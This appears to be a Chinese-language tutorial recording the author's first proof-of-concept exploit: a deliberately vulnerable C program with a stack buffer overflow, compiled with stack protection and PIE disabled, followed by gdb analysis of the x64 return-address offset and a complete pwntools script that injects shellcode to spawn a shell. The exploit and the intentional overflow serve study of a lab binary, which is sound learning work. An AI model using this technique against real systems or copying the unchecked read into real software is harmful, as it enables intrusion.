编写的第一个POC代码

0x00 Target

#include <assert.h>
#include <unistd.h>

int vuln()
{
        // Define variables
        char arr[400];
        int return_status;
        // Grab user input
        printf("What's your name?\n");
        return_status = read(0, arr, 800);
        // Print user input
        printf("Hey %s", arr);
        // Return success
        return 0;
}

int main(int argc, char * argv[])
{
        vuln();
        return 0;
}

这是一个非常标准的带有栈溢出漏洞的程序，编译与运行的条件如下：

• 虚拟机，Ubuntu 18.04 LTS, Kernel: 4.15.0-45-generic
• 使用如下GCC指令编译，关闭PIE(Position-independent Executable，指令位置无关可执行程序)，关闭栈保护功能，启用栈可执行功能。

gcc -g -no-pie -fno-stack-protector -z execstack -o vuln2 vuln2.c

利用这个漏洞的思路如下：

• 将shellcode通过标准输入写入arr[400]数组；
• 覆盖vulr栈帧保存的上一级函数的返回地址为arr[400]的起始地址；
• 当函数调用ret指令时，跳转到arr[400]执行shellcode。

0x01 Fuzzing

使用pwntools中的cyclic生成cycle pyload，获取以下信息：

• arr[400]到栈帧中返回地址保存位置的offset；
• arr[400]的绝对地址，可以用vulr()栈帧的rbp和offset计算得到。

编写的Fuzzing程序如下：

def find_rbp():
    cycle_payload = cyclic(512, n=8)
    clean_corefile(COREDUMP)

    # Generate coredump
    p = process([VULR_BINARY])
    p.sendline(cycle_payload)
    p.wait_for_close()

    # Analise coredump 
    core = Coredump(COREDUMP)
    clean_corefile(COREDUMP)

    # Find RBP address, RBP address is equal to RBP after leaveq
    return core.rsp - 8, cyclic_find(pack(core.rbp, 64), n=8)

很多基于32位 Linux 系统讲解栈溢出的教程中采用根据EIP中存储的值来确定offset，但这个方法在x64系统中不适用。具体地，注意程序生成的coredump文件：

(gdb) disas
Dump of assembler code for function vuln:
   0x00000000004005c7 <+0>:    push   %rbp
   0x00000000004005c8 <+1>:    mov    %rsp,%rbp
   0x00000000004005cb <+4>:    sub    $0x1a0,%rsp
   0x00000000004005d2 <+11>:    lea    0x11b(%rip),%rdi        # 0x4006f4
   0x00000000004005d9 <+18>:    callq  0x4004b0 <puts@plt>
   0x00000000004005de <+23>:    lea    -0x1a0(%rbp),%rax
   0x00000000004005e5 <+30>:    mov    $0x320,%edx
   0x00000000004005ea <+35>:    mov    %rax,%rsi
   0x00000000004005ed <+38>:    mov    $0x0,%edi
   0x00000000004005f2 <+43>:    callq  0x4004d0 <read@plt>
   0x00000000004005f7 <+48>:    mov    %eax,-0x4(%rbp)
   0x00000000004005fa <+51>:    lea    -0x1a0(%rbp),%rax
   0x0000000000400601 <+58>:    mov    %rax,%rsi
   0x0000000000400604 <+61>:    lea    0xfb(%rip),%rdi        # 0x400706
   0x000000000040060b <+68>:    mov    $0x0,%eax
   0x0000000000400610 <+73>:    callq  0x4004c0 <printf@plt>
   0x0000000000400615 <+78>:    mov    $0x0,%eax
   0x000000000040061a <+83>:    leaveq 
=> 0x000000000040061b <+84>:    retq   
End of assembler dump.

此时，RIP寄存器的值为:

(gdb) p $rip
$1 = (void (*)()) 0x40061b <vuln+84>

说明retq指令执行还没有被完全执行，程序就发生了段错误。retq指令执行时，会检查栈中存储的返回地址是否合法。如合法，读入到rip寄存器并执行，如果不合法，将发出中断。此时，rip寄存器并没有读入栈中存储的返回地址

因此，不能通过分析rip来确定溢出的offset，但我们注意到leaveq已经获得了执行，栈中存放的rbp已经被覆盖，栈中存放的rbp值已经读入rbp寄存器，可以通过分析rbp来确定溢出的offset。

0x02 POC

由上，就可以编写出完整的POC代码了

#!/usr/bin/env python2

import os
from pwn import *

VULR_BINARY = './vuln2'
COREDUMP = './core'

context.update(arch='x86_64', os='linux')

def clean_corefile(corefile):
    if os.path.exists(corefile):
        os.remove(corefile)

def find_rbp():
    cycle_payload = cyclic(512, n=8)
    clean_corefile(COREDUMP)

    # Generate coredump
    p = process([VULR_BINARY])
    p.sendline(cycle_payload)
    p.wait_for_close()

    # Analise coredump 
    core = Coredump(COREDUMP)
    clean_corefile(COREDUMP)

    # Find RBP address, RBP address is equal to RBP after leaveq
    return core.rsp - 8, cyclic_find(pack(core.rbp, 64), n=8)

def poc_start():
    shellcode = asm(shellcraft.sh())
    rbp_address, rbp_offset = find_rbp()

    payload = shellcode + asm('nop') * (rbp_offset + 8 - len(shellcode)) + pack(rbp_address - rbp_offset, 64)

    p = process([VULR_BINARY], stdin=PTY, stdout=PTY)
    p.sendline(payload)
    p.interactive()

poc_start()

执行shellcode后，即运行了一个shell

Reference

• https://www.felixcloutier.com...
• https://bytesoverbombs.io/exp...